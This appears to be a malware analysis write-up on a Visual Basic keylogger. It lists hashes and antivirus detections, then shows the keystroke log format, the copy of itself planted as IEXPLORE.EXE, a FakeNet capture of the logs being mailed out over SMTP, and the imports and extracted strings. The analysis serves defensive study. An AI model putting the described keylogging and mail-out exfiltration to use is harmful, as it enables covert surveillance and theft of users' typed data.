D14e3fb2e1c2525cd1affdb6a1b1e36b

Description

Summary

• Keylogger features
• Saves log file in C:\WINDOWS\system
• Sends log file to [email protected]

Identification

MD5	d14e3fb2e1c2525cd1affdb6a1b1e36b
SHA1	41552d0c4ea10437af3c68c950aaa3544ea02880
SHA256	dbe49a4bddbb790e6d7eb541277202b023d7bf4cf45a687f0db3449955e05600
ssdeep	1536:t/xVYpIDwdr+QnfQGXSrpP/BCuIYFfqxxZp:rCOwYQfQo6NJCdtxF
imphash	56571887bf0abe4b5e46b36ea3e21690
File size	100.0 KB ( 102400 bytes )
File type	Win32 EXE
Magic literal	PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Antivirus detection

Antivirus	Result	Update
AVG	PSW.Generic.EQO	20140225
Ad-Aware	Trojan.Spy.Agent.NZI	20140225
Agnitum	TrojanSpy.AdvKeyLogger!TBLBiCDPYuU	20140223
AhnLab-V3	Win-Trojan/Advkeylogger.102400	20140224
AntiVir	TR/RedNeck.KeyLog	20140225
Antiy-AVL	Trojan[Spy]/Win32.AdvKeyLogger	20140225
Avast	Win32:Trojan-gen	20140225
Baidu-International	Trojan.Win32.AdvKeyLogger.Ap	20140225
BitDefender	Trojan.Spy.Agent.NZI	20140225
Bkav	W32.AdvKeyLoggerLnr.Trojan	20140224
CAT-QuickHeal	Trojan.VB.Gen	20140225
CMC	Generic.Win32.d14e3fb2e1!MD	20140220
ClamAV	Trojan.Spy.Keylogger-14	20140225
Commtouch	W32/SysKeylog.B.gen!Eldorado	20140225
Comodo	TrojWare.Win32.Spy.AdvKeyLogger	20140225
DrWeb	BackDoor.Generic.575	20140225
ESET-NOD32	Win32/Spy.AdvKeyLogger	20140225
Emsisoft	Trojan.Spy.Agent.NZI (B)	20140225
F-Prot	W32/SysKeylog.B.gen!Eldorado	20140225
F-Secure	Trojan.Spy.Agent.NZI	20140225
Fortinet	W32/RedNeck!tr	20140225
GData	Trojan.Spy.Agent.NZI	20140225
Ikarus	Trojan-Spy.Win32.KeyLogger.gs	20140225
Jiangmin	TrojanSpy.AdvKeyLogger	20140225
K7AntiVirus	Riskware ( d7dc1d590 )	20140224
K7GW	Backdoor ( 04c4c8191 )	20140224
Kaspersky	Trojan-Spy.Win32.AdvKeyLogger	20140225
Kingsoft	Win32.Troj.AdvKeyLogger.(kcloud)	20140225
McAfee	PWS-RedNeck	20140225
McAfee-GW-Edition	PWS-RedNeck	20140225
MicroWorld-eScan	Trojan.Spy.Agent.NZI	20140225
Microsoft	TrojanSpy:Win32/AdvKeylogger	20140225
NANO-Antivirus	Trojan.Win32.AdvKeyLogger-Spy.fcqj	20140225
Norman	Suspicious_Gen2.OVBIA	20140224
Panda	Trojan Horse	20140224
Rising	PE:Trojan.Win32.Generic.122B7AD3!304839379	20140223
Sophos	Troj/RedNeck	20140225
Symantec	Infostealer	20140225
TheHacker	PWS/RedNeck	20140224
TrendMicro	TSPY_ADKEYLOG.A	20140225
TrendMicro-HouseCall	TSPY_ADKEYLOG.A	20140225
VBA32	TrojanSpy.AdvKeyLogger	20140224
VIPRE	Trojan-Spy.Win32.VB.misc!cobra (v)	20140225
ViRobot	Trojan.Win32.AdvKeyLogger.102400	20140225
nProtect	Trojan-Spy/W32.Agent.102400.BE	20140225
ByteHero		20140225
Malwarebytes		20140225
Qihoo-360		20140220
SUPERAntiSpyware		20140225
TotalDefense		20140225

Defensive capabilities

INCOMPLETE SECTION OR ARTICLE

This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Dynamic analysis

Files

Log file

The malware acts as a keylogger that logs the activity in C:\WINDOWS\SYSTEM\{EXE_NAME}.TXT where {EXE_NAME} is the name of the executable:

"[Log Start: 25/02/2014 14:05:50]"
"--------------------------------------------------"
"logged keys
"
""
""
"{alt}{tab}"
"{tab}"
""
""
""
""
"e
[14:07:13 - Current Window: Explorateur Windows] 
[14:07:13 - Current Window: Poste de travail] "
"{down}{down}"
"
[14:07:14 - Current Window: C:\] "
"{tab}{down}"
"{down}{down}{down}{down}{down}{down}{down}{down}{down}"
"{down}<CrLf>
[14:07:16 - Current Window: C:\WINDOWS] "
"{down}"
"{down}{down}{down}{down}{down}{down}{down}{down}{down}"
"s"
"{down}{down}{down}{down}"
"{down}"
"{down}{down}{down}"
"{up}{up}{up}"
"<CrLf>
[14:07:21 - Current Window: C:\WINDOWS\system] "
""
"{down}{down}"
"{down}{down}"

IEXPLORE.EXE

The malware copies itself into C:\WINDOWS\system\IEXPLORE.EXE

Registry keys

INCOMPLETE SECTION OR ARTICLE

This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Network indicators

DNS queries

FakeNet confirms that the following domain is requested:

[DNS Query Received.]
  Domain name: mail.hotmail.com
[DNS Response sent.]

This is to send the email (see next section).

Email ([email protected])

The log file is sent to [email protected] as shown on the nelow extract from FakeNet:

[Received new connection on port: 25.]
220 PracticalMalwareAnalysis.COM STMP Service Ready
[New Data on port 25.]
HELO New Look
250 PracticalMalwareAnalysis.com
[New Data on port 25.]
MAIL FROM: <New Look>
250 OK
[New Data on port 25.]
RCPT TO: <[email protected]>
250 OK
[New Data on port 25.]
DATA
354 start mail input, end with <CRLF>.<CRLF>
[New Data on port 25.]
Message-ID: 92178780436515.84721.qmail@New Look
[New Data on port 25.]
DATE: 14:23:39
[New Data on port 25.]
FROM: malware (France) 14:23:40 <New Look>
[New Data on port 25.]
TO: 50 <[email protected]>
[New Data on port 25.]
Reply-to:  <[email protected]>
[New Data on port 25.]
SUBJECT: 25/02/14
[New Data on port 25.]
MIME-Version: 1.0
[New Data on port 25.]
Content-Type: text/plain; charset=us-ascii
[New Data on port 25.]
Username- malware
Computer Name- MALWARE-418EE9F
[Log Start: 25/02/2014 14:05:50]-----------------------------------------------
--logged keys

[14:06:27 - Current Window: Regshot 1.9.0 x86 ANSI]
[14:06:36 - Current Window: Sans titre - Bloc-notes]
[14:06:36 - Current Window: ~res-x86.txt - Bloc-notes] {alt}{tab}{tab}e
[14:07:13 - Current Window: Explorateur Windows]
[14:07:13 - Current Window: Poste de travail] {down}{down}
[14:07:14 - Current Window: C:\] {tab}{down}{down}{down}{down}{down}{down}{down
{down}{down}{down}{down}<CrLf>
[14:07:16 - Current Window: C:\WINDOWS] {down}{down}{down}{down}{down}{down}{do
n}{down}{down}{down}s{down}{down}{down}{down}{down}{down}{down}{down}{up}{up}{u
}<CrLf>

[SNIP]

[14:23:23 - Curr[New Data on port 25.]
e[New Data on port 25.]
nt Window: C:\WINDOWS\system32\cmd.exe]
[14:23:39 - Current Window: C:\WINDOWS\system32\cmd.exe - FakeNet.exe] acdefk8{
ab}<CrLf>{ctrl}{alt} [New Data on port 25.]

.
250 OK
[New Data on port 25.]
QUIT
221 PracticalMalwareAnalysis.com bye

Static analysis

Sections

Name       VirtAddr     VirtSize     RawSize      Entropy     
--------------------------------------------------------------------------------
.text      0x1000       0x15448      0x16000      5.658386    
.data      0x17000      0xf6c        0x1000       0.000000    
.rsrc      0x18000      0x764        0x1000       2.024022

IAT

MSVBVM60.DLL

• _adj_fdivr_m64
• Ord(546)
• Ord(518)
• __vbaGenerateBoundsError
• __vbaStrFixstr
• __vbaInputFile
• _adj_fprem
• __vbaR8ErrVar
• __vbaAryMove
• Ord(537)
• __vbaCopyBytes
• _adj_fdiv_r
• _allmul
• __vbaLsetFixstrFree
• __vbaRecAnsiToUni
• __vbaChkstk
• __vbaObjSetAddref
• __vbaFixstrConstruct
• _adj_fdiv_m64
• __vbaHresultCheckObj
• __vbaI2Var
• _CIlog
• Ord(616)
• _adj_fptan
• __vbaFileClose
• Ord(581)
• __vbaI4Var
• __vbaRecUniToAnsi
• __vbaFreeVar
• __vbaFreeStr
• __vbaStrI2
• __vbaStrR8
• __vbaStrI4
• __vbaFreeStrList
• __vbaI2I4
• _adj_fdiv_m16i
• EVENT_SINK_QueryInterface
• Ord(607)
• __vbaLenBstr
• __vbaResume
• Ord(594)
• Ord(576)
• __vbaStrToUnicode
• _adj_fdiv_m32i
• Ord(717)
• __vbaExceptHandler
• __vbaSetSystemError
• DllFunctionCall
• __vbaUbound
• __vbaVarTstLt
• Ord(608)
• __vbaBoolVarNull
• __vbaVargVarMove
• __vbaLbound
• __vbaFileOpen
• Ord(571)
• Ord(526)
• Ord(606)
• __vbaInStrVar
• __vbaAryLock
• __vbaLsetFixstr
• __vbaVarTstEq
• Ord(593)
• __vbaOnError
• __vbaVargVarCopy
• __vbaStrCat
• __vbaVarDup
• _adj_fdiv_m32
• EVENT_SINK_Release
• __vbaStrCmp
• __vbaAryUnlock
• __vbaStrVarCopy
• __vbaFreeObjList
• Ord(666)
• __vbaFreeVarList
• __vbaStrVarMove
• Ord(578)
• __vbaExitProc
• __vbaVarTstNe
• __vbaAryConstruct2
• __vbaFreeObj
• _adj_fdivr_m32
• __vbaStrVarVal
• __vbaVarSub
• Ord(660)
• __vbaVarTstGt
• _CIcos
• __vbaStrErrVarCopy
• __vbaVarMove
• __vbaFPInt
• __vbaErrorOverflow
• __vbaNew2
• __vbaAryDestruct
• __vbaStrMove
• _adj_fprem1
• Ord(563)
• __vbaWriteFile
• Ord(535)
• __vbaLenVar
• __vbaEnd
• Ord(685)
• Ord(617)
• _adj_fpatan
• EVENT_SINK_AddRef
• _adj_fdivr_m32i
• __vbaVarVargNofree
• __vbaStrCopy
• Ord(632)
• __vbaFPException
• _adj_fdivr_m16i
• __vbaVarAdd
• Ord(100)
• _CIsin
• _CIsqrt
• __vbaVarCopy
• Ord(612)
• _CIatan
• _CItan
• Ord(529)
• __vbaObjSet
• __vbaVarCat
• __vbaStr2Vec
• _CIexp
• __vbaStrToAnsi
• __vbaFpR8
• __vbaFpI4
• Ord(598)
• __vbaFpI2

Strings

\MVOK
Project1
Form1
wwwwwx
wwwwx
wwwwwwwx
wwwwww
wwxpww
DDHw
wwww
Form1
txtstatus
tells email status
Text2
content of logfile to be mailed
Command1
&blah ice
MS Sans Serif
Text1
logged keys
MS Sans Serif
Timer2
Timer1
VB5!
setup
Project1
B3IC
Form1
WinsockBas
smtpmailer
Hide
modRegistry
Project1
Form
C:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Text2
Timer2
txtstatus
Command1
Text1
user32
GetAsyncKeyState
hP/@
GetKeyState
advapi32.dll
RegOpenKeyExA
RegSetValueExA
h80@
RegCloseKey
h|0@
Kernel32.dll
RegisterServiceProcess
user32.dll
GetForegroundWindow
h<1@
SetWindowPos
GetWindowTextA
GetWindowTextLengthA
kernel32
GetComputerNameA
hx2@
GetUserNameA
CAPSLOCKON
FormOntop
GetCaption
inform
GetLocaleInfoA
CallWindowProcA
SetWindowLongA
h84@
recvfrom
PostMessageA
RtlMoveMemory
h,<@
lstrlenA
hp<@
wsock32.dll
accept
bind
closesocket
htons
hP=@
connect
ioctlsocket
getpeername
getsockname
h\>@
getsockopt
htonl
inet_addr
hX?@
inet_ntoa
listen
ntohl
ntohs
h\@@
recv
select
send
hPA@
sendto
setsockopt
shutdown
socket
hXB@
gethostbyaddr
gethostbyname
gethostname
h,C@
getservbyport
htC@
getservbyname
getprotobynumber
getprotobyname
hPD@
WSAStartup
WSACleanup
WSASetLastError
h E@
WSAGetLastError
hhE@
WSAIsBlocking
WSAUnhookBlockingHook
__vbaErrorOverflow
WSASetBlockingHook
h`F@
WSACancelBlockingCall
WSAAsyncGetServByName
WSAAsyncGetServByPort
hPG@
WSAAsyncGetProtoByName
WSAAsyncGetProtoByNumber
WSAAsyncGetHostByName
hDH@
WSAAsyncGetHostByAddr
WSACancelAsyncRequest
WSAAsyncSelect
h,I@
WSARecvEx
hpI@
I  S
s\icychyll.BASE\
__vbaLbound
VBA6.DLL
__vbaVarCopy
__vbaLsetFixstr
__vbaFixstrConstruct
__vbaStrToUnicode
__vbaStrToAnsi
__vbaInputFile
__vbaStrCmp
__vbaObjSet
__vbaFileClose
__vbaWriteFile
__vbaFileOpen
__vbaFreeObj
__vbaStrVarVal
__vbaVarTstNe
__vbaOnError
__vbaFreeVarList
__vbaVarDup
__vbaVarCat
__vbaStrVarMove
__vbaFreeObjList
__vbaFreeStrList
__vbaStrMove
__vbaStrCat
__vbaVarMove
__vbaFreeStr
__vbaStrCopy
__vbaFreeVar
__vbaEnd
__vbaObjSetAddref
__vbaHresultCheckObj
__vbaNew2
__vbaSetSystemError
__vbaStrFixstr
__vbaAryDestruct
__vbaAryUnlock
__vbaGenerateBoundsError
__vbaAryLock
__vbaUbound
__vbaStrErrVarCopy
__vbaVarVargNofree
__vbaStrVarCopy
__vbaStr2Vec
__vbaAryMove
__vbaExitProc
__vbaResume
__vbaFpI4
__vbaFpI2
__vbaFpR8
__vbaLenBstr
__vbaInStrVar
__vbaVarSub
__vbaI4Var
__vbaRecAnsiToUni
__vbaRecUniToAnsi
__vbaStrI2
__vbaCopyBytes
__vbaBoolVarNull
__vbaI2I4
__vbaI2Var
__vbaVargVarMove
__vbaLsetFixstrFree
__vbaVarTstLt
__vbaLenVar
__vbaVarTstGt
__vbaVarTstEq
__vbaStrR8
__vbaR8ErrVar
__vbaFPInt
__vbaVarAdd
__vbaStrI4
__vbaAryConstruct2
GetCurrentProcessId
htd@
__vbaVargVarCopy
`,e@
`(e@
`0e@
`(e@
FormName
WindowHandle
f91uJ
hd3@
hT3@
}#jhht3@
hd3@
hT3@
hd3@
hT3@
}#j|ht3@
hd3@
hT3@
}#jdht3@
} jXh
h$.@
hd3@
hT3@
}#jPht3@
hd3@
hT3@
}#jXht3@
hd3@
hT3@
}#jXht3@
Q8Rj
hH5@
|SVW
hT5@
F8Pj
hH5@
h4x@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
Rh 4@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
Rh$6@
hT5@
h$.@
h$.@
hT5@
Qh,6@
hT5@
h$.@
h$.@
hT5@
Rh46@
hT5@
h$.@
h$.@
hT5@
Qh<6@
hT5@
h$.@
h$.@
hT5@
RhD6@
hT5@
h$.@
h$.@
hT5@
QhL6@
hT5@
h$.@
h$.@
hT5@
RhT6@
hT5@
h$.@
h$.@
hT5@
Qh\6@
hT5@
h$.@
h$.@
hT5@
Rhd6@
hT5@
h$.@
h$.@
hT5@
Qhl6@
hT5@
h$.@
h$.@
hT5@
Rht6@
hT5@
h$.@
h$.@
hT5@
Qh|6@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
hT5@
h$.@
h$.@
hT5@
Rh$7@
hT5@
h$.@
h$.@
hT5@
Qh,7@
hT5@
h$.@
h$.@
hT5@
Rh47@
hT5@
h$.@
h$.@
hT5@
Qh<7@
hT5@
h$.@
h$.@
hT5@
RhD7@
hT5@
h$.@
h$.@
hT5@
QhL7@
hT5@
h$.@
h$.@
hT5@
RhT7@
hT5@
hT5@
Qh\7@
hT5@
hT5@
Rhd7@
hT5@
hT5@
Qhl7@
hT5@
hT5@
Rht7@
hT5@
hT5@
Qh|7@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
Rh 8@
hT5@
hT5@
Qh48@
hT5@
hT5@
PhH8@
hT5@
hT5@
Rh\8@
hT5@
hT5@
Qhl8@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
Ph 9@
hT5@
hT5@
Ph89@
hT5@
hT5@
Qh@9@
hT5@
hT5@
PhH9@
hT5@
hT5@
QhP9@
hT5@
hT5@
PhX9@
hT5@
hT5@
Qh`9@
hT5@
hT5@
PhP5@
hT5@
hT5@
Qhh9@
hT5@
hT5@
Php9@
hT5@
hT5@
Qhx9@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
Ph@5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
QhP9@
hT5@
hT5@
PhP5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
Rh,:@
hT5@
hT5@
Qh<:@
hT5@
hT5@
PhL:@
hT5@
hT5@
Rh\:@
hT5@
hT5@
Qhl:@
hT5@
hT5@
Ph|:@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
Ph\7@
hT5@
hT5@
Rhl7@
hT5@
hT5@
Qh|7@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
hT5@
h(;@
hT5@
hT5@
h$.@
N8Qj
h0;@
hT5@
hT5@
hT5@
hT5@
WWWWj
LSVW
hT5@
hT5@
hT5@
hd"A
dSVW
Ph@9@
RPhd;@
QRhd;@
RPhd;@
QRhd;@
ht(A
hl*A
DSVW
hppA
hppA
hppA
h(^@
h(pA
Qh(pA
hx^@
h(pA
Ph(pA
gw_3
`SVW
Php9@
PhX_@
8SVW
$SVW
hT5@
hT5@
hT5@
hT5@
5lpA
hl_@
=lpA
hL`@
hLpA
=lpA
Ph(pA
h(pA
=lpA
h(pA
h(pA
=lpA
h(pA
=lpA
h|a@
h|a@
h(pA
=lpA
Rh(pA
Ph b@
Ph,b@
hTb@
h8b@
hp9@
hp9@
h(pA
=lpA
h$c@
h(pA
=lpA
Qh(pA
kh4c@
DSVW
hbZA
hbZA
(SVW
9=(xA
h(xA
5(xA
hN[A
MSVBVM60.DLL
__vbaVarTstGt
__vbaVarSub
__vbaStrI2
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaVarVargNofree
__vbaAryMove
__vbaFreeVar
__vbaLenBstr
__vbaStrVarMove
__vbaEnd
__vbaFreeVarList
_adj_fdiv_m64
__vbaFreeObjList
__vbaStrErrVarCopy
_adj_fprem1
__vbaRecAnsiToUni
__vbaCopyBytes
__vbaResume
__vbaStrCat
__vbaWriteFile
__vbaLsetFixstr
__vbaSetSystemError
__vbaHresultCheckObj
__vbaVargVarCopy
__vbaLenVar
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaOnError
__vbaObjSet
_adj_fdiv_m16i
__vbaObjSetAddref
_adj_fdivr_m16i
__vbaStrFixstr
__vbaVarTstLt
__vbaBoolVarNull
__vbaFpR8
_CIsin
__vbaVargVarMove
__vbaChkstk
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaStrCmp
__vbaAryConstruct2
__vbaVarTstEq
__vbaI2I4
DllFunctionCall
__vbaLbound
_adj_fpatan
__vbaFixstrConstruct
__vbaStrR8
__vbaRecUniToAnsi
EVENT_SINK_Release
_CIsqrt
EVENT_SINK_QueryInterface
__vbaStr2Vec
__vbaExceptHandler
__vbaInputFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaR8ErrVar
__vbaFPException
__vbaInStrVar
__vbaUbound
__vbaStrVarVal
__vbaVarCat
__vbaLsetFixstrFree
__vbaI2Var
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaFreeStrList
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaFpI2
__vbaFpI4
__vbaVarCopy
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
_CItan
__vbaFPInt
__vbaAryUnlock
_CIexp
__vbaFreeObj
__vbaFreeStr
dDx<
dDx<
dDx<
dDx<
dDx<
dDx<
dDx<
dDx<
wwxpww
DDHw
wwww
wwwwwx
wwwwx
wwwwwwwx
wwwwww